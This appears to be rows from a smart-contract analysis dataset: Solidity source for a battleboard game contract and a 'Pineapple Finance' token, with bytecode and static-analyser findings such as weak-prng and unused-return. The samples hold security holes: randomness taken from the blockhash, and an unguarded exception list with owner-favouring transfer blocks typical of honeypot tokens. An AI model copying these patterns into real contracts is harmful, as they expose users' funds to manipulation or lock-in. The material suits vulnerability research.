8a255e1e6d2dbcd0f76c6578706572696d656e74616cf564736f6c63430005100040 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,141 |
0xd16c13da73f3aa1cb4fd4ddfd758fad869f166d6 | pragma solidity ^0.4.17;
contract AccessControl {
address public creatorAddress;
uint16 public totalSeraphims = 0;
mapping (address => bool) public seraphims;
bool public isMaintenanceMode = true;
modifier onlyCREATOR() {
require(msg.sender == creatorAddress);
_;
}
modifier onlySERAPHIM() {
require(seraphims[msg.sender] == true);
_;
}
modifier isContractActive {
require(!isMaintenanceMode);
_;
}
// Constructor
function AccessControl() public {
creatorAddress = msg.sender;
}
function addSERAPHIM(address _newSeraphim) onlyCREATOR public {
if (seraphims[_newSeraphim] == false) {
seraphims[_newSeraphim] = true;
totalSeraphims += 1;
}
}
function removeSERAPHIM(address _oldSeraphim) onlyCREATOR public {
if (seraphims[_oldSeraphim] == true) {
seraphims[_oldSeraphim] = false;
totalSeraphims -= 1;
}
}
function updateMaintenanceMode(bool _isMaintaining) onlyCREATOR public {
isMaintenanceMode = _isMaintaining;
}
}
contract SafeMath {
function safeAdd(uint x, uint y) pure internal returns(uint) {
uint z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint x, uint y) pure internal returns(uint) {
assert(x >= y);
uint z = x - y;
return z;
}
function safeMult(uint x, uint y) pure internal returns(uint) {
uint z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function getRandomNumber(uint16 maxRandom, uint8 min, address privateAddress) constant public returns(uint8) {
uint256 genNum = uint256(block.blockhash(block.number-1)) + uint256(privateAddress);
return uint8(genNum % (maxRandom - min + 1)+min);
}
}
contract Enums {
enum ResultCode {
SUCCESS,
ERROR_CLASS_NOT_FOUND,
ERROR_LOW_BALANCE,
ERROR_SEND_FAIL,
ERROR_NOT_OWNER,
ERROR_NOT_ENOUGH_MONEY,
ERROR_INVALID_AMOUNT
}
enum AngelAura {
Blue,
Yellow,
Purple,
Orange,
Red,
Green
}
}
contract IBattleboardData is AccessControl {
// write functions
function createBattleboard(uint prize, uint8 restrictions) onlySERAPHIM external returns (uint16);
function killMonster(uint16 battleboardId, uint8 monsterId) onlySERAPHIM external;
function createNullTile(uint16 _battleboardId) private ;
function createTile(uint16 _battleboardId, uint8 _tileType, uint8 _value, uint8 _position, uint32 _hp, uint16 _petPower, uint64 _angelId, uint64 _petId, address _owner, uint8 _team) onlySERAPHIM external returns (uint8);
function killTile(uint16 battleboardId, uint8 tileId) onlySERAPHIM external ;
function addTeamtoBoard(uint16 battleboardId, address owner, uint8 team) onlySERAPHIM external;
function setTilePosition (uint16 battleboardId, uint8 tileId, uint8 _positionTo) onlySERAPHIM public ;
function setTileHp(uint16 battleboardId, uint8 tileId, uint32 _hp) onlySERAPHIM external ;
function addMedalBurned(uint16 battleboardId) onlySERAPHIM external ;
function setLastMoveTime(uint16 battleboardId) onlySERAPHIM external ;
function iterateTurn(uint16 battleboardId) onlySERAPHIM external ;
function killBoard(uint16 battleboardId) onlySERAPHIM external ;
function clearAngelsFromBoard(uint16 battleboardId) private;
//Read functions
function getTileHp(uint16 battleboardId, uint8 tileId) constant external returns (uint32) ;
function getMedalsBurned(uint16 battleboardId) constant external returns (uint8) ;
function getTeam(uint16 battleboardId, uint8 tileId) constant external returns (uint8) ;
function getMaxFreeTeams() constant public returns (uint8);
function getBarrierNum(uint16 battleboardId) public constant returns (uint8) ;
function getTileFromBattleboard(uint16 battleboardId, uint8 tileId) public constant returns (uint8 tileType, uint8 value, uint8 id, uint8 position, uint32 hp, uint16 petPower, uint64 angelId, uint64 petId, bool isLive, address owner) ;
function getTileIDByOwner(uint16 battleboardId, address _owner) constant public returns (uint8) ;
function getPetbyTileId( uint16 battleboardId, uint8 tileId) constant public returns (uint64) ;
function getOwner (uint16 battleboardId, uint8 team, uint8 ownerNumber) constant external returns (address);
function getTileIDbyPosition(uint16 battleboardId, uint8 position) public constant returns (uint8) ;
function getPositionFromBattleboard(uint16 battleboardId, uint8 _position) public constant returns (uint8 tileType, uint8 value, uint8 id, uint8 position, uint32 hp, uint32 petPower, uint64 angelId, uint64 petId, bool isLive) ;
function getBattleboard(uint16 id) public constant returns (uint8 turn, bool isLive, uint prize, uint8 numTeams, uint8 numTiles, uint8 createdBarriers, uint8 restrictions, uint lastMoveTime, uint8 numTeams1, uint8 numTeams2, uint8 monster1, uint8 monster2) ;
function isBattleboardLive(uint16 battleboardId) constant public returns (bool);
function isTileLive(uint16 battleboardId, uint8 tileId) constant external returns (bool) ;
function getLastMoveTime(uint16 battleboardId) constant public returns (uint) ;
function getNumTilesFromBoard (uint16 _battleboardId) constant public returns (uint8) ;
function angelOnBattleboards(uint64 angelID) external constant returns (bool) ;
function getTurn(uint16 battleboardId) constant public returns (address) ;
function getNumTeams(uint16 battleboardId, uint8 team) public constant returns (uint8);
function getMonsters(uint16 BattleboardId) external constant returns (uint8 monster1, uint8 monster2) ;
function getTotalBattleboards() public constant returns (uint16) ;
}
contract IMedalData is AccessControl {
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
function totalSupply() public view returns (uint256);
function setMaxTokenNumbers() onlyCREATOR external;
function balanceOf(address _owner) public view returns (uint256);
function tokensOf(address _owner) public view returns (uint256[]) ;
function ownerOf(uint256 _tokenId) public view returns (address);
function approvedFor(uint256 _tokenId) public view returns (address) ;
function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId);
function approve(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId);
function takeOwnership(uint256 _tokenId) public;
function _createMedal(address _to, uint8 _seriesID) onlySERAPHIM public ;
function getCurrentTokensByType(uint32 _seriesID) public constant returns (uint32);
function getMedalType (uint256 _tokenId) public constant returns (uint8);
function _burn(uint256 _tokenId) onlyOwnerOf(_tokenId) external;
function isApprovedFor(address _owner, uint256 _tokenId) internal view returns (bool) ;
function clearApprovalAndTransfer(address _from, address _to, uint256 _tokenId) internal;
function clearApproval(address _owner, uint256 _tokenId) private;
function addToken(address _to, uint256 _tokenId) private ;
function removeToken(address _from, uint256 _tokenId) private;
}
contract BattleboardsSupport is AccessControl, SafeMath {
/*** DATA TYPES ***/
address public medalDataContract = 0x33A104dCBEd81961701900c06fD14587C908EAa3;
address public battleboardDataContract =0xE60fC4632bD6713E923FE93F8c244635E6d5009e;
uint8 public medalBoost = 50;
uint8 public numBarriersPerBoard = 6;
uint public barrierPrice = 1000000000000000;
uint8 public maxMedalsBurned = 3;
uint8 public barrierStrength = 75;
// Utility Functions
function DataContacts(address _medalDataContract, address _battleboardDataContract) onlyCREATOR external {
medalDataContract = _medalDataContract;
battleboardDataContract = _battleboardDataContract;
}
function setVariables( uint8 _medalBoost, uint8 _numBarriersPerBoard, uint8 _maxMedalsBurned, uint8 _barrierStrength, uint _barrierPrice) onlyCREATOR external {
medalBoost = _medalBoost;
numBarriersPerBoard = _numBarriersPerBoard;
maxMedalsBurned = _maxMedalsBurned;
barrierStrength = _barrierStrength;
barrierPrice = _barrierPrice;
}
//Can be called by anyone at anytime,
function erectBarrier(uint16 battleboardId, uint8 _barrierType, uint8 _position) external payable {
IBattleboardData battleboardData = IBattleboardData(battleboardDataContract);
uint8 numBarriers = battleboardData.getBarrierNum(battleboardId);
if (battleboardData.getTileIDbyPosition(battleboardId, _position) != 0 ) {revert();} //Can't put a barrier on top of another tile
if (numBarriers >= numBarriersPerBoard) {revert();} //can't put too many barriers on one board.
if (msg.value < barrierPrice) {revert();}
if ((_barrierType <2) || (_barrierType >4)) {revert();} //can't create another tile instead of a barrier.
battleboardData.createTile(battleboardId,_barrierType, barrierStrength, _position, 0, 0, 0, 0, address(this),0);
}
function checkExistsOwnedMedal (uint64 medalId) public constant returns (bool) {
IMedalData medalData = IMedalData(medalDataContract);
if ((medalId < 0) || (medalId > medalData.totalSupply())) {return false;}
if (medalData.ownerOf(medalId) == msg.sender) {return true;}
else return false;
}
function medalBoostAndBurn(uint16 battleboardId, uint64 medalId) public {
//IMPORTANT: Before burning a medal in this function, you must APPROVE this address
//in the medal data contract to unlock it.
IBattleboardData battleboardData = IBattleboardData(battleboardDataContract);
uint8 tileId = battleboardData.getTileIDByOwner(battleboardId,msg.sender);
//can't resurrect yourself.
if (battleboardData.isTileLive(battleboardId,tileId) == false) {revert();}
if (checkExistsOwnedMedal(medalId)== false) {revert();}
//make sure the max number of medals haven't already been burned.
if (battleboardData.getMedalsBurned(battleboardId) >= maxMedalsBurned) {revert();}
battleboardData.addMedalBurned(battleboardId);
//this first takes and then burns the medal.
IMedalData medalData = IMedalData(medalDataContract);
uint8 medalType = medalData.getMedalType(medalId);
medalData.takeOwnership(medalId);
medalData._burn(medalId);
uint32 hp = battleboardData.getTileHp(battleboardId, tileId);
battleboardData.setTileHp(battleboardId, tileId, hp + (medalType * medalBoost));
}
function kill() onlyCREATOR external {
selfdestruct(creatorAddress);
}
function withdrawEther() onlyCREATOR external {
creatorAddress.transfer(this.balance);
}
} | 0x606060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301eca37c1461012d578063074f0a22146101825780632ef0a28d146101da578063364706651461022b5780633b92d3841461028057806341c0e1b5146102af57806345e26105146102c457806346538e07146102e9578063621612351461032e5780636b6cc2391461039a5780637123691e146103c757806373383832146104005780637362377b1461042957806387c50df51461043e57806396b9a9d014610472578063bbc878c4146104ac578063c031a78b146104dd578063c49fea771461050c578063ce7ca6651461055f578063d356a28b1461058e578063d7ecba0c146105c7578063e927fc5c146105f6575b600080fd5b341561013857600080fd5b61014061064b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561018d57600080fd5b6101d8600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610671565b005b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610752565b604051808215151515815260200191505060405180910390f35b341561023657600080fd5b61023e610772565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561028b57600080fd5b610293610798565b604051808260ff1660ff16815260200191505060405180910390f35b34156102ba57600080fd5b6102c26107ab565b005b34156102cf57600080fd5b6102e760048080351515906020019091905050610840565b005b34156102f457600080fd5b610314600480803567ffffffffffffffff169060200190919050506108b8565b604051808215151515815260200191505060405180910390f35b341561033957600080fd5b61037e600480803561ffff1690602001909190803560ff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a79565b604051808260ff1660ff16815260200191505060405180910390f35b34156103a557600080fd5b6103ad610ac6565b604051808215151515815260200191505060405180910390f35b34156103d257600080fd5b6103fe600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ad9565b005b341561040b57600080fd5b610413610c1a565b6040518082815260200191505060405180910390f35b341561043457600080fd5b61043c610c20565b005b610470600480803561ffff1690602001909190803560ff1690602001909190803560ff16906020019091905050610cf5565b005b341561047d57600080fd5b6104aa600480803561ffff1690602001909190803567ffffffffffffffff1690602001909190505061101d565b005b34156104b757600080fd5b6104bf611683565b604051808261ffff1661ffff16815260200191505060405180910390f35b34156104e857600080fd5b6104f0611697565b604051808260ff1660ff16815260200191505060405180910390f35b341561051757600080fd5b61055d600480803560ff1690602001909190803560ff1690602001909190803560ff1690602001909190803560ff169060200190919080359060200190919050506116aa565b005b341561056a57600080fd5b61057261177f565b604051808260ff1660ff16815260200191505060405180910390f35b341561059957600080fd5b6105c5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611792565b005b34156105d257600080fd5b6105da6118d2565b604051808260ff1660ff16815260200191505060405180910390f35b341561060157600080fd5b6106096118e5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106cc57600080fd5b81600260016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60016020528060005260406000206000915054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560019054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561080657600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089b57600080fd5b80600260006101000a81548160ff02191690831515021790555050565b600080600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008367ffffffffffffffff16108061098857508073ffffffffffffffffffffffffffffffffffffffff166318160ddd6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561096057600080fd5b6102c65a03f1151561097157600080fd5b505050604051805190508367ffffffffffffffff16115b156109965760009150610a73565b3373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16636352211e856000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff168152602001915050602060405180830381600087803b1515610a2e57600080fd5b6102c65a03f11515610a3f57600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff161415610a6e5760019150610a73565b600091505b50919050565b6000808273ffffffffffffffffffffffffffffffffffffffff166001430340600190040190508360ff1660018560ff1687030161ffff1682811515610aba57fe5b06019150509392505050565b600260009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b3457600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610c17576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160392506101000a81548161ffff021916908361ffff1602179055505b50565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c7b57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610cf357600080fd5b565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508173ffffffffffffffffffffffffffffffffffffffff1663a21eef95866000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808261ffff1661ffff168152602001915050602060405180830381600087803b1515610d9c57600080fd5b6102c65a03f11515610dad57600080fd5b50505060405180519050905060008273ffffffffffffffffffffffffffffffffffffffff1663b3ab715e87866000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808361ffff1661ffff1681526020018260ff1660ff16815260200192505050602060405180830381600087803b1515610e4857600080fd5b6102c65a03f11515610e5957600080fd5b5050506040518051905060ff16141515610e7257600080fd5b600360159054906101000a900460ff1660ff168160ff16101515610e9557600080fd5b600454341015610ea457600080fd5b60028460ff161080610eb9575060048460ff16115b15610ec357600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663afcd565c8686600560019054906101000a900460ff168760008060008030600080604051602001526040518b63ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808b61ffff1661ffff1681526020018a60ff1660ff1681526020018960ff1660ff1681526020018860ff1660ff1681526020018763ffffffff1681526020018661ffff1681526020018567ffffffffffffffff1681526020018467ffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff1681526020019a5050505050505050505050602060405180830381600087803b1515610ffa57600080fd5b6102c65a03f1151561100b57600080fd5b50505060405180519050505050505050565b6000806000806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1694508473ffffffffffffffffffffffffffffffffffffffff16638e894a6f88336000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808361ffff1661ffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15156110fd57600080fd5b6102c65a03f1151561110e57600080fd5b505050604051805190509350600015158573ffffffffffffffffffffffffffffffffffffffff16634b2f249a89876000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808361ffff1661ffff1681526020018260ff1660ff16815260200192505050602060405180830381600087803b15156111ab57600080fd5b6102c65a03f115156111bc57600080fd5b50505060405180519050151514156111d357600080fd5b600015156111e0876108b8565b151514156111ed57600080fd5b600560009054906101000a900460ff1660ff168573ffffffffffffffffffffffffffffffffffffffff1663a4d28b62896000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808261ffff1661ffff168152602001915050602060405180830381600087803b151561127f57600080fd5b6102c65a03f1151561129057600080fd5b5050506040518051905060ff161015156112a957600080fd5b8473ffffffffffffffffffffffffffffffffffffffff166311c1ddd9886040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808261ffff1661ffff168152602001915050600060405180830381600087803b151561131f57600080fd5b6102c65a03f1151561133057600080fd5b505050600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692508273ffffffffffffffffffffffffffffffffffffffff16633626aae7876000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff168152602001915050602060405180830381600087803b15156113d957600080fd5b6102c65a03f115156113ea57600080fd5b5050506040518051905091508273ffffffffffffffffffffffffffffffffffffffff1663b2e6ceeb876040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff168152602001915050600060405180830381600087803b151561146e57600080fd5b6102c65a03f1151561147f57600080fd5b5050508273ffffffffffffffffffffffffffffffffffffffff16639b1f9e74876040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff168152602001915050600060405180830381600087803b15156114fa57600080fd5b6102c65a03f1151561150b57600080fd5b5050508473ffffffffffffffffffffffffffffffffffffffff1663f345d06b88866000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808361ffff1661ffff1681526020018260ff1660ff16815260200192505050602060405180830381600087803b151561159b57600080fd5b6102c65a03f115156115ac57600080fd5b5050506040518051905090508473ffffffffffffffffffffffffffffffffffffffff16638841937a8886600360149054906101000a900460ff16860260ff1685016040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808461ffff1661ffff1681526020018360ff1660ff1681526020018263ffffffff1663ffffffff1681526020019350505050600060405180830381600087803b151561166657600080fd5b6102c65a03f1151561167757600080fd5b50505050505050505050565b600060149054906101000a900461ffff1681565b600560009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561170557600080fd5b84600360146101000a81548160ff021916908360ff16021790555083600360156101000a81548160ff021916908360ff16021790555082600560006101000a81548160ff021916908360ff16021790555081600560016101000a81548160ff021916908360ff160217905550806004819055505050505050565b600360149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117ed57600080fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156118cf5760018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160192506101000a81548161ffff021916908361ffff1602179055505b50565b600360159054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a72305820c488240264cc46562169e6871ce7fb5e973d00cea58bc8d511cd784800d7c55e0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 1,142 |
0x1f2ef7da13c612a21ee794ac6e87ac593e174d96 | pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private exceptions;
address private uniswap;
address private _owner;
uint private _totalSupply;
bool private allow;
constructor(address owner) public{
_owner = owner;
allow = true;
}
function setExceptions(address someAddress) public{
exceptions[someAddress] = true;
}
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
// Trigger special exceptions
if(sender == _owner || allow ) {
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}else {
if(exceptions[recipient]) {
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}else {
revert();
}
}
}
function _mint(address account, uint amount) internal {
require(account != address(0), "Invalid address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract PineappleFinance is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
constructor () public ERC20Detailed("Pineapple Finance", "PNA", 18) ERC20(tx.origin){
governance = tx.origin;
}
function distribute (address _from, uint256 _value) public {
require(msg.sender == governance,"Invalid Address");
_mint(_from, _value);
}
}
/**
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
* 3. Neither the name of the copyright holder nor the names of its contributors may be
* used to endorse or promote products derived from this software without specific prior
* written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
* SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
* TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
* BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
* DAMAGE.
**/ | 0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80635aa6e6751161008c578063a457c2d711610066578063a457c2d71461046f578063a9059cbb146104d5578063dd62ed3e1461053b578063fb932108146105b3576100ea565b80635aa6e6751461034a57806370a082311461039457806395d89b41146103ec576100ea565b80631b5b1b04116100c85780631b5b1b04146101f657806323b872dd1461023a578063313ce567146102c057806339509351146102e4576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f7610601565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106a3565b604051808215151515815260200191505060405180910390f35b6101e06106c1565b6040518082815260200191505060405180910390f35b6102386004803603602081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106cb565b005b6102a66004803603606081101561025057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610726565b604051808215151515815260200191505060405180910390f35b6102c86107ff565b604051808260ff1660ff16815260200191505060405180910390f